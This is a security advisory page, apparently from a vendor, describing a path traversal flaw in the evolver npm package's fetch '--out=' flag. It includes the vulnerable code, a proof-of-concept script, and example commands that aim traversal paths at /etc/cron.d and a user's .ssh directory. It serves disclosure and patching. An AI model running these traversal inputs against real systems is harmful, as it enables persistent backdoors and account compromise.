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GHSA-r466-rxw4-3j9j

HIGH

GHSA-r466-rxw4-3j9j is a high-severity (CVSS 8.1) vulnerability in @evomap/evolver. O3 Security confirms whether GHSA-r466-rxw4-3j9j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write

Also known asCVE-2026-42075
Published
Apr 22, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

@evomap/evolvernpm
662downloads / week

Description

Summary

A path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.

Details

The vulnerability exists in index.js at lines 752-767:

// index.js:751-768
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');

// VULNERABLE: No path validation on user input
const outDir = outFlag
  ? outFlag.slice('--out='.length)  // User-controlled path
  : path.join('.', 'skills', safeId);

if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });

// ... downloads skill files to outDir

The outFlag.slice('--out='.length) extracts the user-provided path without any sanitization or validation. An attacker can provide paths like ../../../etc/cron.d to write files outside the intended directory.

Note: The safeId variable is sanitized via inline replacement (replace(/[^a-zA-Z0-9_\-\.]/g, '_')), but this sanitization only applies to the default path, not to the user-provided --out= path.

PoC

Prerequisites:

  • Node.js installed
  • Access to the evolver application

Steps to reproduce:

  1. Create a test file demonstrating the vulnerability:
// test-file-write.js
const fs = require('fs');
const path = require('path');

// Simulate the vulnerable fetchSkill logic
function vulnerableFetchSkill(outFlag) {
  const outDir = outFlag
    ? outFlag.slice('--out='.length)  // No validation!
    : path.join('.', 'skills', 'default');
  
  console.log('Target directory:', outDir);
  console.log('Resolved path:', path.resolve(outDir));
  
  // In real code, this would write skill files
  const targetFile = path.join(outDir, 'skill.js');
  console.log('Would write to:', targetFile);
  
  return { outDir, targetFile };
}

// Test cases
console.log('=== Test 1: Normal path ===');
vulnerableFetchSkill('--out=./my-skills/test');

console.log('\n=== Test 2: Path traversal ===');
const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');

// Actually demonstrate the vulnerability
console.log('\n=== Creating directory to prove traversal works ===');
try {
  if (!fs.existsSync(result.outDir)) {
    fs.mkdirSync(result.outDir, { recursive: true });
  }
  fs.writeFileSync(
    path.join(result.outDir, 'poc.txt'),
    'Path traversal successful!\nThis file was written outside the intended directory.'
  );
  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));
} catch (e) {
  console.log('Error:', e.message);
}
  1. Run the test:
node test-file-write.js

Expected output:

=== Test 2: Path traversal ===
Target directory: ../../../tmp/evolver-test
Resolved path: /tmp/evolver-test
Would write to: ../../../tmp/evolver-test/skill.js

=== Creating directory to prove traversal works ===
SUCCESS: File written to: /tmp/evolver-test/poc.txt

Actual exploit scenario: An attacker can run:

# Write to system cron directory (requires appropriate permissions)
node index.js fetch malicious-skill --out=../../../etc/cron.d

# Or overwrite existing files
node index.js fetch existing-skill --out=../../../home/user/.ssh

Impact

This is an Arbitrary File Write vulnerability that can lead to:

  • Overwriting critical system files
  • Installing persistent backdoors (e.g., in cron directories)
  • Modifying SSH authorized_keys
  • Overwriting application code or configuration files
  • Privilege escalation if the process runs with elevated privileges

Affected users: Anyone using the fetch command with the --out= flag, especially in automated environments or CI/CD pipelines.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@evomap/evolverall versions1.69.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @evomap/evolver. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @evomap/evolver to 1.69.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r466-rxw4-3j9j is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-r466-rxw4-3j9j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r466-rxw4-3j9j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations. ### Details The vulnerability exists in `index.js` at lines 752-767: ```javascript // index.js:751-768 const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.
O3 Security · Impact-Aware SCA

Is GHSA-r466-rxw4-3j9j in your dependencies?

O3 detects GHSA-r466-rxw4-3j9j across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.